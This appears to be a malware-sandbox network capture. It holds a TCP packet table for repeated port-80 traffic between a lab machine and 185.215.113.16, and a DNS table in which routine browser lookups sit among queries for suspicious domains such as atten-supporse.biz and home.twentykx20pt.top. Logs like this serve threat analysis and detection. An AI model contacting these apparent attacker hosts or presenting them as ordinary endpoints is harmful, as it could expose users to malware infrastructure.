Nov 29, 2024 19:49:56.165487051 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.165540934 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.166891098 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.166966915 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.167046070 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.167097092 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.168317080 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.168368101 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.168634892 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.168685913 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.169800997 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.169853926 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.170078039 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.170130014 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.171334028 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.171344995 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.171399117 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.171425104 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.172811031 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.172875881 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.174293041 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.174304962 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.174351931 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.174355030 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.174359083 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.174395084 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.175774097 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.175844908 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.177277088 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.177288055 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.177309036 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.177349091 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.178803921 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.178854942 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.178854942 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.179702044 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.179768085 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.180285931 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.180299044 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.180362940 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.180362940 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.181773901 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.181787968 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.181839943 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.183273077 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.183342934 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.183430910 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.183484077 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.184739113 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.184793949 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.187549114 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.187717915 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.317399025 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.317477942 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.317522049 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.317581892 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.318020105 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.318075895 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.318100929 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.318140030 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.319242001 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.319293976 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.319614887 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.319670916 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.320451021 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.320522070 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.321049929 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.321103096 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.321659088 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.321672916 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.321707964 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.321728945 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.322882891 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.322937012 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.323322058 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.323370934 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.324044943 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.324096918 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.325273991 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.325288057 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.325321913 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.325337887 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.325362921 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.326433897 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.326488972 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.326621056 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.326666117 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.327646017 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.327702999 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.327785969 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.327831030 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.328852892 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.328911066 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.329719067 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.329772949 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.330168962 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.330216885 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.330307007 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.330355883 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.331310034 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.331370115 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.331549883 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.331604004 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.332475901 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.332529068 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.332649946 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.332700968 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.333803892 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.333861113 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.334208965 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.334261894 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.334920883 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.334937096 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.334979057 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.335000038 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.336102009 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.336172104 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.336247921 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.336297035 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.337369919 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.337413073 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.337553978 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.337606907 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.339452982 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.339507103 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.339855909 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.339909077 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.339981079 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.339993000 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.340020895 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.340037107 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.341248035 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.341309071 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.341347933 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.341387987 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.342195034 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.342207909 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.342257977 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.343420982 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.343476057 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.343590021 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.343656063 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.344645977 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.344659090 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.344696045 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.344717026 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.345841885 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.345897913 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.346193075 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.346244097 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.347115040 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.347172976 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.347172976 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.347212076 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.348210096 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.348263025 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.348584890 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.348643064 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.349414110 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.349468946 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.350002050 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.350049973 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.350677967 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.350689888 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.350723982 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.350740910 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.351866007 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.351921082 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.352586031 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.352638960 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.353184938 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.353240013 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.353250027 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.353291035 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.354326963 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.354387045 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.354499102 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.354552984 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.355014086 CET	443	49814	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:56.355525017 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.355582952 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.355581999 CET	49814	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:56.355593920 CET	443	49814	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:56.355621099 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.355665922 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.356097937 CET	49814	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:56.356103897 CET	443	49814	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:56.356699944 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.356756926 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.356852055 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.356914997 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.357888937 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.357945919 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.358388901 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.358438969 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.359097004 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.359148979 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.359193087 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.359245062 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.360413074 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.360476971 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.360774040 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.360824108 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.361506939 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.361562014 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.361996889 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.362050056 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.362684011 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.362737894 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.362900019 CET	80	49809	185.215.113.16	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 29, 2024 19:49:17.145807981 CET	192.168.2.5	1.1.1.1	0x2f97	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:49:17.145937920 CET	192.168.2.5	1.1.1.1	0xd724	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 29, 2024 19:50:18.851448059 CET	192.168.2.5	1.1.1.1	0x955	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:39.752764940 CET	192.168.2.5	1.1.1.1	0x8dfc	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:39.896723032 CET	192.168.2.5	1.1.1.1	0x4fd6	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 29, 2024 19:50:40.596302032 CET	192.168.2.5	1.1.1.1	0xd4e3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:40.596617937 CET	192.168.2.5	1.1.1.1	0xafe6	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:40.742261887 CET	192.168.2.5	1.1.1.1	0x279c	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:40.742465973 CET	192.168.2.5	1.1.1.1	0x886b	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:40.957397938 CET	192.168.2.5	1.1.1.1	0xb4c6	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 29, 2024 19:50:40.959095001 CET	192.168.2.5	1.1.1.1	0x7362	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 29, 2024 19:50:42.368474007 CET	192.168.2.5	1.1.1.1	0x9023	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:42.369539022 CET	192.168.2.5	1.1.1.1	0xd2d4	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:42.511327028 CET	192.168.2.5	1.1.1.1	0x6a4d	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:44.628607035 CET	192.168.2.5	1.1.1.1	0x1c08	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:44.630420923 CET	192.168.2.5	1.1.1.1	0x2857	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:44.776017904 CET	192.168.2.5	1.1.1.1	0x46f5	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:50:46.628551960 CET	192.168.2.5	1.1.1.1	0x8a8b	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:46.667262077 CET	192.168.2.5	1.1.1.1	0x6f3d	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:46.803528070 CET	192.168.2.5	1.1.1.1	0xce80	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 29, 2024 19:50:47.168127060 CET	192.168.2.5	1.1.1.1	0xe5df	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:47.168217897 CET	192.168.2.5	1.1.1.1	0x50c7	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:47.334748030 CET	192.168.2.5	1.1.1.1	0xd7bf	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:47.336395979 CET	192.168.2.5	1.1.1.1	0x773f	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:47.474416018 CET	192.168.2.5	1.1.1.1	0x9b3b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 29, 2024 19:50:47.475994110 CET	192.168.2.5	1.1.1.1	0xe12a	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 29, 2024 19:50:48.403016090 CET	192.168.2.5	1.1.1.1	0x2e27	Standard query (0)	mitmdetection.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:48.637398005 CET	192.168.2.5	1.1.1.1	0x719f	Standard query (0)	mitmdetection.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:48.837071896 CET	192.168.2.5	1.1.1.1	0x6e8e	Standard query (0)	mitmdetection.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:51:02.919116020 CET	192.168.2.5	1.1.1.1	0xd005	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:02.919209003 CET	192.168.2.5	1.1.1.1	0x65d6	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Nov 29, 2024 19:51:06.122279882 CET	192.168.2.5	1.1.1.1	0x4af4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:06.122754097 CET	192.168.2.5	1.1.1.1	0x8cdd	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 29, 2024 19:51:09.224280119 CET	192.168.2.5	1.1.1.1	0x887c	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:09.224395990 CET	192.168.2.5	1.1.1.1	0x28ce	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 29, 2024 19:51:14.193790913 CET	192.168.2.5	1.1.1.1	0xbde7	Standard query (0)	home.twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:14.193850994 CET	192.168.2.5	1.1.1.1	0x2326	Standard query (0)	home.twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:51:17.302941084 CET	192.168.2.5	1.1.1.1	0x54f9	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 29, 2024 19:51:18.365675926 CET	192.168.2.5	1.1.1.1	0xbe19	Standard query (0)	home.twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:18.365840912 CET	192.168.2.5	1.1.1.1	0xbc7d	Standard query (0)	home.twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:51:19.271070004 CET	192.168.2.5	1.1.1.1	0x1ffb	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:19.341973066 CET	192.168.2.5	1.1.1.1	0x9b59	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:19.502219915 CET	192.168.2.5	1.1.1.1	0x39e2	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 29, 2024 19:51:19.548157930 CET	192.168.2.5	1.1.1.1	0x1f4f	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 29, 2024 19:51:19.597625017 CET	192.168.2.5	1.1.1.1	0x84a9	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:51:19.784605980 CET	192.168.2.5	1.1.1.1	0x8959	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 29, 2024 19:51:19.833935022 CET	192.168.2.5	1.1.1.1	0xc65d	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:20.007385015 CET	192.168.2.5	1.1.1.1	0xf0ec	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:20.007935047 CET	192.168.2.5	1.1.1.1	0x3110	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:20.029280901 CET	192.168.2.5	1.1.1.1	0xb675	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:20.180988073 CET	192.168.2.5	1.1.1.1	0x2002	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:20.183685064 CET	192.168.2.5	1.1.1.1	0x2aeb	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:51:20.223429918 CET	192.168.2.5	1.1.1.1	0x2304	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:51:20.379959106 CET	192.168.2.5	1.1.1.1	0x1f5d	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 29, 2024 19:51:20.747981071 CET	192.168.2.5	1.1.1.1	0x1c3e	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:23.274004936 CET	192.168.2.5	1.1.1.1	0xa8da	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:23.534329891 CET	192.168.2.5	1.1.1.1	0xa8da	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:23.869184971 CET	192.168.2.5	1.1.1.1	0xc635	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:23.869321108 CET	192.168.2.5	1.1.1.1	0xa6e3	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:23.940176010 CET	192.168.2.5	1.1.1.1	0xf4c8	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.010051966 CET	192.168.2.5	1.1.1.1	0xb1cf	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.010662079 CET	192.168.2.5	1.1.1.1	0x15a7	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.079207897 CET	192.168.2.5	1.1.1.1	0xcd9c	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 29, 2024 19:51:24.149280071 CET	192.168.2.5	1.1.1.1	0xf6a8	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 29, 2024 19:51:24.150152922 CET	192.168.2.5	1.1.1.1	0xd529	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 29, 2024 19:51:24.288902044 CET	192.168.2.5	1.1.1.1	0x8f78	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.288902044 CET	192.168.2.5	1.1.1.1	0x4a19	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.340025902 CET	192.168.2.5	1.1.1.1	0xcd9c	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
